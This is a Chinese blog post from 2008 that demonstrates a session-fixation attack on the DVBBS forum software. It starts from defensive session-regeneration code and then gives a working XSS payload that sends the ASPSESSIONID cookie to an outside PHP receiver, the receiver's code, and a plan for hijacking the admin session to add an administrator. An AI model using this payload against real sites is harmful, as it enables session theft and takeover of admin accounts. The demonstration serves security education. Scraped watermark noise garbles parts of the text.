Session Fixation 攻防实战

上一篇 / 下一篇  2008-09-20 07:17:51

最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》,讲的是一段代码,在STRUTS 2框架中,防御Session Fixation攻击。笔者比较老土,看不懂英文,还好能看懂代码,发现这是一种平时开发中(至少自己是这样),从来没注意过的攻击。关于这种攻击,刺在自己博客上写了篇文章《关于Session Fixation》。我在邮件列表,和文章后面跟帖讨论了下,但是仍然感觉自己说的不是很清晰,毕竟没有实战,所以实践了一下自己的想法,重新写篇文章补充下。注:为了保证质量,本文假设读者对cookie和session基本概念和特性已经掌握。IXPUB技术博客.B2[rJ'S,R

,aV4\:IHt'U0  作者是从防御代码中,发现这种攻击的存在,所以,我们先看防御的代码:
 public void doGet(HttpServletRequest request, HttpServletResponse response)
I:B[ rK-M8d0 throws ServletException, IOException {IXPUB技术博客-f&~i$p EY'V,o
 if(userid.equals("admin") && password.equals("admin")) {IXPUB技术博客2U _c U$f6D'}^
 request.getSession().invalidate();IXPUB技术博客NP6A!N f:X
 HttpSession session = request.getSession(true);IXPUB技术博客:SU~oE%BlL3k
 session.setAttribute("AUTHENTICATED", new Boolean(true));
4b3BM}M+tE0 response.sendRedirect("PageRequiringAuthentication.jsp");
A/G$xT$hxI"a0 //Additional Code Would Normally Follow
 这是一个很常见的登录过程,首先验证用户名密码是否正确,正确后,干掉当前session。然后重新获取一个新session,继续执行赋予用户管理权限。关键就是,这段代码干掉了当前的session。当服务器和客户端之间的session销毁时,因为客户端仍然向服务器发送数据,所以服务器会自动的新生成一个session。为什么以前的session不能用呢?
?(FN4?i a]0
1M.g5N-GT!R1qY0  在作者刚看到邮件的时候,一直看不明白,因为站在程序员的角度,作者不知道为啥非要让session销毁了。如果不消毁session,程序一样正确执行,攻击者不知道管理员密码,一样进不来。如果这个人知道管理员密码,那么对于程序本身来说,这个人就已经是一个程序所期望的管理员了。但是换个角度想一下,管理员在管理网站的时候,通常都做些什么?在管理员登陆前,他还只是一个普通的浏览者,会去浏览一些公开页面,他可能在哪里发现了问题,需要进后台处理一下,于是他就登录了。就在这个很普通的过程中,如果程序没有在认证成功后,销毁session,则管理员在登录前和登录后,session是同一个。假设我们能够在前台,使用了XSS一类手段,获得了这个 session,等他一旦登录,就“野鸡变凤凰”了。IXPUB技术博客Sq/cU9Z6o

.EmnoB0G4gG0  在以往的XSS攻击、CSRF攻击中,我们总是把目光放在管理员登陆后,XSS 他、CSRF他。都没有想过,如果管理员登陆后,不浏览XSS页面,怎么攻击?看到这段防御代码,作者突然想到了一种攻击手段,只要管理员曾经浏览过 XSS页面(这时候只是普通用户),就能在他登录后,即使不再浏览XSS页面,也能攻击到。
],?6DB6QN0IXPUB技术博客!] y#rkzx0Y
  为了详细的描述和重现这种攻击方式,作者特意下载了动网BBS 8最新版本。首先做两个实验,来验证动网是否存在这个漏洞:
m)Y*Zhg'w,A_0
5v:j$}r2{8WIxS0  1、在登录前,查看自己的SESSIONID,管理员前台登录后,再查看SESSIONID,登录后台,再查看。发现这个值没有变动。就是说动网存在这个漏洞,登录前后,SESSIONID没有变。
L*k6_)M,|9_Dp \:v0
Q4^ x7J bzHz*O0  2、为了保证实验成功,需要知道动网的后台是否仅仅通过SESSION来验证身份。登录后,抓包。修改包中的信息,修改username,提交,返回数据表明可以同过。再修改SESSIONID,却出现“本页面为管理员专。。。”字样,没有通过认证。这说明动网后台是仅仅通过session验证的,而不是cookie。
\o'O*eDG0IXPUB技术博客Ei*A#r$i k9[Vv
  证明了这个漏洞的存在,下面就利用这个漏洞,攻击登录前的管理员。动网论坛的用户身份模式,可以很好的诠释这种攻击,用过动网的读者都知道,浏览动网的用户分为以下几种级别:“未注册用户”、“注册用户”、“前台管理员”、“后台管理员”。我们先架设好攻击环境,之后让一个未登陆的管理员,浏览论坛的XSS页面,之后登录到后台。
5h5_Xh#vX6Y0IXPUB技术博客v,c'Qp!@&R X ?,x
  总体来看,利用这样的漏洞,需要以下一些东西:IXPUB技术博客#f i*B&\%g
IXPUB技术博客-a${|9Q!w#J
  1、a.php,一个脚本,用来接收XSS页面传来的SESSIONID,然后保存在haha.txt,可以放在任何一个支持php的空间里。IXPUB技术博客0DIEM2rv}E

V v Oug WS)Sh0  2、go.py,没隔5秒,请求一次haha.txt,获得SESSIONID值。之后把获得的SESSIONID值放入请求的COOKIE中,请求后台页面的“添加管理员功能”。
DbB"uy,|%l\@hp0
ey.omRm2n)_0  3、一个前台的XSS漏洞,这个漏洞我们自己可以构造出来。
W6sVN {b6f&J1T!_0
mv$[h+}j0  作者为了仅仅说明这个问题,而不是大量的制造攻击,所以单独为动网写了个对应的脚本,go.py这个脚本,请求了动网后台的“添加管理员功能 ”。他会一直去请求,不管管理员有没有登录,在登录前,会收到“本页面为管理员专。。。”字样。但是管理员一旦登录,就会请求成功这个功能。
;RR*z0T)Jh5gQ,b0
_ YWw.\ p0  下图可以说明这次模拟实验:
}a0LB"l$_ |!}0attachments/200809/19_151241_1.jpgjavascript:DrawImage(this);>IXPUB技术博客8hg5aI%\Z.[CR
第一步。首先架设好辅助攻击的服务器,服务器中有两个文件,一个是a.php。这个文件用来接收XSS发来的SESSIONID信息,然后保存为haha.txt。IXPUB技术博客1h&t v| t4jd
IXPUB技术博客7_w sf~*sn,^
  第二步。执行go.py。这个文件会每隔5秒,请求一次haha.txt,读取其中的数据,解析为对应的SESSIONID,把SESSIONID放在发动包的COOKIE中,之后请求一次“添加管理员”这个功能。
)Y[ U|"D0
#ZZ&Rz IL0  管理员登录后台之后,SESSIONID就会成为了一个可以通过论坛验证的SESSIONID,这时候的请求会成为合法请求,登录之前的请求,全都是垃圾数据。在整个过程中,我们要求管理员在登录前浏览一次XSS页面,然后登陆。登录后,大概15秒的时候,就可以退出了。这点时间,我们的攻击,已经成功。IXPUB技术博客7_z:xNl4`b
IXPUB技术博客2R.Jk1n0C!R2L0b w
  请注意,这次攻击的演示中,重点不是动网出现了XSS漏洞,而是Session Fixation,所以我们在前台假设他出现了XSS漏洞。制造这个漏洞很简单,论坛后台有个给版面加“本版版规”的功能,支持HTML。把XSS的内容放这里:
 1. <script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; i<cv.length; i++){cvv=cv[i].split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){cvtmp=cv[i];cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1];}};function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id="+url0+"&value="+url1;}setTimeout(f,"1000");</script>
 用于提交SESSIONID到a.php。下面是一个COOKIE的内容:IXPUB技术博客uz*U0Q7D)kl,?
attachments/200809/19_151318_2.jpgjavascript:DrawImage(this);>IXPUB技术博客J&\t$LkQn}
请注意图片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”这部分,这里就是一个 SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样,“ASPSESSIONIDASQCSSRT”这个KEY的名字,也是不同名称的。但是他逃脱不了一种模式,就是SESSIONID的名字,改来改去,总要让服务器认识。结合几次抓包内容,发现,这个字符串没有固定的名称,也没有固定的值,但是他总是以“ASPSESSIONID”开头。所以才会有了这段生涩难解的XSS代码。IXPUB技术博客D5hA`EuU$j
IXPUB技术博客}_/E0s8X,[/AV6k*? h
  php代码,用于接收提交过来的SESSIONID,保存:
 1. <?phpIXPUB技术博客 V(] @.|X
 2. $fp = fopen("haha.txt","wb");
,y \'c,G N(G0V1q0 3. fwrite($fp,$_GET["id"].",".$_GET["value"],strlen($_GET["id"].",".$_GET["value"]));IXPUB技术博客 C^"_6tI/X
 4. fclose($fp);IXPUB技术博客~5Hmzr&g%l6L'T
 5. ?>
下面先执行go.py。IXPUB技术博客Q*HX p:j9{3IEp
IXPUB技术博客A0~'yJ'N e j
  可以看到代码一直在执行“添加管理员这个过程”,并且一直不能通过验证。
!syC3I|4LK0
,T8svTWy3T0  现在先浏览下XSS页面,查看那个有XSS的版面。先让程序获得SESSIONID,注意,还没有登录。IXPUB技术博客1q0~ YN@ ^oooB.V:f
IXPUB技术博客o f@eL-C.Ci3u
attachments/200809/19_151421_3.jpgjavascript:DrawImage(this);>
"OG8m7X(NPE-vt/i0和前次不同的是,我们获取了sessionid。但是这个SESSIONID还没有通过验证,管理员还没有登录。之后使用管理员登录后台。
-pGlHY0attachments/200809/19_151437_4.jpgjavascript:DrawImage(this);>
/zX1Rp2T#k P0这张图,出现了提示信息“您输入的用户名已经在管理用户中存在!”,说明已经可以通过验证了,攻击成功。IXPUB技术博客+Zluds3~ @'wJ

:EiwC0wa0  可能有很多读者在本次攻击过程中想到了SESSION IE这个工具,该工具也可以获得管理员的SESSIONID,并且通过不断的访问,维持这个SESSIONID不被销毁。与之区别的是,如果管理员登录后,自己点了“退出”。那么这个维持中SESSIONID就没用了,除非你能在他没点退出之间,做了添加管理员操作,期待该工具更新本文所提功能。而这次的攻击过程中,即使管理员退出了,我们攻击也早就在管理员登陆的那一刹那间,攻击成功。Session Fixation最大的威胁,就是在登录前的XSS能一直威胁到了管理员登录,即使管理员登录后不再访问XSS页面,也不影响攻击效果。
`hw/i!Yd{e+Ie0IXPUB技术博客$K5E YDm ^-s o P
  工具go.py在这里提供下载,但是注意一点,这个工具,不是一个多线程的。实验的时候可以用,如果用于做坏事,除非修改它的代码,否则每一个看到 XSS页面的人,都会提交SESSIONID上去,导致攻击失败。为了网络和谐,作者就不提供真正用于攻击的代码了,大家回去后自己研究。

TAG: session 攻防 实战 Fixation Session

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-12-23  
 123456
78910111213
14151617181920
21222324252627
28293031   

数据统计

  • 访问量: 58968
  • 日志数: 1137
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2008-12-23

RSS订阅

Open Toolbar